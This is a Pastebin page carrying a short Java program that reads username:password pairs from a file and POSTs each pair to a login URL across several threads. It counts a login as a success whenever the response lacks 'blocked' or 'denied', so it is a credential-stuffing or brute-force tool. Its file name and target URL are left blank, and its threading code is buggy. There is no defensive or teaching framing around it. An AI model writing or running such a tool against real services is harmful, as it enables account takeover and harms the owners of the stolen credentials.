Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- package application;
- import java.io.BufferedReader;
- import java.io.DataOutputStream;
- import java.io.File;
- import java.io.IOException;
- import java.io.InputStreamReader;
- import java.net.HttpURLConnection;
- import java.net.MalformedURLException;
- import java.net.URL;
- import java.nio.file.Files;
- public class Application {
- private static final String FILE_NAME = "";
- private static final String URL = "URL";
- private static final String USER_AGENT = "";
- private static final int COUNT_OF_THREADS = 5;
- private static String[] LINES;
- public static final void main(String[] args) {
- try {
- LINES = (String[]) Files.readAllLines(new File(FILE_NAME).toPath()).toArray();
- int sizeOfBlock = LINES.length / COUNT_OF_THREADS;
- for (int i = 0; i < sizeOfBlock; i++) {
- new Application().new MyThread(sizeOfBlock, sizeOfBlock * i).run();
- }
- } catch (IOException e) {
- e.printStackTrace();
- }
- }
- private class MyThread implements Runnable {
- private int startPosition;
- private int endPosition;
- public MyThread(int startPosition, int endPosition) {
- this.startPosition = startPosition;
- this.endPosition = endPosition;
- }
- @Override
- public void run() {
- for (int i = startPosition; i < endPosition; i++) {
- try {
- HttpURLConnection urlConnection = (HttpURLConnection) new URL(URL).openConnection();
- urlConnection.setRequestMethod("POST");
- urlConnection.setRequestProperty("User-Agent", USER_AGENT);
- urlConnection.setRequestProperty("Accept-Language", "en-US,en;q=0.5");
- String urlParameters = "username=" + LINES[i].split(":")[0] + "&password=" + LINES[i].split(":")[1];
- urlConnection.setDoOutput(true);
- DataOutputStream output = new DataOutputStream(urlConnection.getOutputStream());
- output.writeBytes(urlParameters);
- output.flush();
- output.close();
- BufferedReader input = new BufferedReader(new InputStreamReader(urlConnection.getInputStream()));
- String inputLine;
- StringBuffer response = new StringBuffer();
- while ((inputLine = input.readLine()) != null) {
- response.append(inputLine);
- }
- input.close();
- if (response.indexOf("blocked") == -1 && response.indexOf("denied") == -1) {
- System.out.println("itt valami jรณ volt");
- }
- } catch (MalformedURLException e) {
- e.printStackTrace();
- } catch (IOException e) {
- e.printStackTrace();
- }
- }
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement